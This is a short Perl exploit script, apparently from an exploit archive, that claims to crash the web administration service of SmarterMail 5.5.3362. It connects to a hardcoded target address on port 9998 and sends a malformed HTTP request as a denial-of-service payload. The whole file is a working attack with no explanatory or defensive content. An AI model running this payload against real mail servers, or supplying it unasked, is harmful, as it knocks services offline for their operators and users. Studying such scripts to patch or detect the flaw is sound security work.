#!/usr/bin/perl
# KL0409FUN_genius.pl
# Krakow Labs [Fun Archive] -> www.krakowlabs.com/dev/fun
# SmarterMail 5.5.3362 Web-based Administration Remote DoS
# rush@KL
# KL0409FUN_genius.pl


use IO::Socket;

$target = "10.10.10.101";
$port   = 9998;

$payload = "| / / HTTP/1.1\r\n\r\n";

$sock = IO::Socket::INET->new(Proto=>'tcp', PeerHost=>$target, PeerPort=>$port) or die "Error: $target:$port\n";

$sock->send($payload);
close($sock);